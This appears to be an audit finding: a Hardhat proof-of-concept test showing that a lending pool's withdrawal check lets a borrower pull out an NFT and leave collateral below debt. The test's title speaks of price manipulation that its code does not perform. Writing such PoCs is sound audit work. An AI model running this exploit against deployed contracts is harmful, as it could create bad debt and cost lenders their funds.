Incorrectly applies the liquidation threshold (e.g., 80%) to the user's debt amount instead of the remaining collateral. This means the check verifies if: remainingCollateral < debt * 0.8
describe("LendingPool", function () {
let owner, user1, user2, user3, attacker, innocentUser;
let crvusd, raacNFT, raacHousePrices, stabilityPool, raacFCL, raacVault, curveVault;
let lendingPool, rToken, debtToken;
let deployer;
let token;
const tokenId = 1;
const tokenId2 = 2;
beforeEach(async function () {
[owner, user1, user2, user3, attacker, innocentUser] = await ethers.getSigners();
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
const CurveVault = await ethers.getContractFactory("MockCurveVault");
curveVault = await CurveVault.deploy(crvusd.target);
await crvusd.setMinter(owner.address);
token = crvusd;
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(crvusd.target, raacHousePrices.target, owner.address);
stabilityPool = { target: owner.address };
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy("RToken", "RToken", owner.address, crvusd.target);
const DebtToken = await ethers.getContractFactory("DebtToken");
debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
const mintAmount = ethers.parseEther("1000");
await crvusd.mint(user1.address, mintAmount);
await crvusd.mint(user3.address, mintAmount);
const mintAmount2 = ethers.parseEther("10000");
await crvusd.mint(user2.address, mintAmount2);
await crvusd.connect(user1).approve(lendingPool.target, mintAmount);
await crvusd.connect(user2).approve(lendingPool.target, mintAmount);
await crvusd.connect(user3).approve(lendingPool.target, mintAmount);
await raacHousePrices.setOracle(owner.address);
await raacHousePrices.setHousePrice(tokenId, ethers.parseEther("100"));
await raacHousePrices.setHousePrice(tokenId2, ethers.parseEther("80"));
await ethers.provider.send("evm_mine", []);
const housePrice = await raacHousePrices.tokenToHousePrice(1);
const raacHpAddress = await raacNFT.raac_hp();
const priceFromNFT = await raacNFT.getHousePrice(1);
const amountToPayForNFT1 = ethers.parseEther("100");
const amountToPayForNFT2 = ethers.parseEther("80");
await token.mint(user3.address, amountToPayForNFT1);
await token.mint(user3.address, amountToPayForNFT2);
await token.connect(user3).approve(raacNFT.target, ethers.MaxInt256);
await raacNFT.connect(user3).mint(tokenId, amountToPayForNFT1);
await raacNFT.connect(user3).mint(tokenId2, amountToPayForNFT2);
const depositAmount = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, ethers.MaxInt256);
await lendingPool.connect(user2).deposit(depositAmount);
});
describe("Proof of Concept - Liquidation Exploit", function () {
it("should allow an attacker to force liquidation by manipulating NFT price", async function () {
await raacNFT.connect(user3).approve(lendingPool.target, tokenId);
await lendingPool.connect(user3).depositNFT(tokenId);
await raacNFT.connect(user3).approve(lendingPool.target, tokenId2);
await lendingPool.connect(user3).depositNFT(tokenId2);
const borrowAmount = ethers.parseEther("99");
await lendingPool.connect(user3).borrow(borrowAmount);
const getUserDebtBefore = await lendingPool.getUserDebt(user3.address);
expect(getUserDebtBefore).to.equal(borrowAmount);
const getUserCollateralValue = await lendingPool.getUserCollateralValue(user3.address);
expect(getUserCollateralValue).to.equal(ethers.parseEther("180"));
await lendingPool.connect(user3).withdrawNFT(tokenId);
const getUserDebtAfter = await lendingPool.getUserDebt(user3.address);
expect(getUserDebtAfter).to.be.gt(borrowAmount);
const newGetUserCollateralValue = await lendingPool.getUserCollateralValue(user3.address);
expect(newGetUserCollateralValue).to.be.lt(getUserDebtAfter);
});
});